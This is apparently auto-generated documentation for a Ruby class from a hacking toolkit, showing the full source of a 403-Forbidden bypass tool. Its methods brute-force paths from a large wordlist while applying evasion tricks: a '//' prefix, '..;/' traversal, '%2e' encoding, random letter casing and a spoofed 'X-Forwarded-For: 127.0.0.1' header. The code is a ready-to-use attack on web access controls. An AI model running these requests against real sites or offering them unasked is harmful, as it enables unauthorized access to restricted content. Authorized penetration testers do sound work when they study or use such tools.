Class: Snackhack2::BypassHTTP

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/bypass_403.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initializeBypassHTTP

Returns a new instance of BypassHTTP.



7
8
9
10
11
# File 'lib/snackhack2/bypass_403.rb', line 7

def initialize
  @site     = site
  @wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt')
  @bypass   = "//"
end

Instance Attribute Details

#bypassObject

Returns the value of attribute bypass.



5
6
7
# File 'lib/snackhack2/bypass_403.rb', line 5

def bypass
  @bypass
end

#siteObject

Returns the value of attribute site.



5
6
7
# File 'lib/snackhack2/bypass_403.rb', line 5

def site
  @site
end

#wordlistObject

Returns the value of attribute wordlist.



5
6
7
# File 'lib/snackhack2/bypass_403.rb', line 5

def wordlist
  @wordlist
end

Instance Method Details

#basicObject



41
42
43
# File 'lib/snackhack2/bypass_403.rb', line 41

def basic
  web_request("//")
end

#dotsObject



62
63
64
# File 'lib/snackhack2/bypass_403.rb', line 62

def dots
  web_request("..;/")
end

#forward_forObject



13
14
15
16
17
18
19
20
21
22
23
24
25
26
# File 'lib/snackhack2/bypass_403.rb', line 13

def forward_for
  File.readlines(@wordlist).each do |r|
    r = r.strip
    Async do
      url = File.join(@site, @bypass, r)
      r = HTTParty.get(url, :headers => {
                         "X-Forwarded-For": "127.0.0.1"
                       })
      puts url
      puts r.code
      puts "\n"
    end
  end
end

#uppercaseObject



45
46
47
48
49
50
51
52
53
54
55
56
# File 'lib/snackhack2/bypass_403.rb', line 45

def uppercase
  File.readlines(@wordlist).each do |r|
    r = r.strip.gsub(/./) { |s| s.send(%i[upcase downcase].sample) }
    Async do
      url = File.join(@site, r)
      puts url
      r = Snackhack2::get(url)
      puts r.code
      puts "\n"
    end
  end
end

#url_encodeObject



58
59
60
# File 'lib/snackhack2/bypass_403.rb', line 58

def url_encode
  web_request("%2e")
end

#web_request(bypass) ⇒ Object



28
29
30
31
32
33
34
35
36
37
38
39
# File 'lib/snackhack2/bypass_403.rb', line 28

def web_request(bypass)
  File.readlines(@wordlist).each do |r|
    r = r.strip
    Async do
      url = File.join(@site, bypass, r)
      r = Snackhack2::get(url)
      puts url
      puts r.code
      puts "\n"
    end
  end
end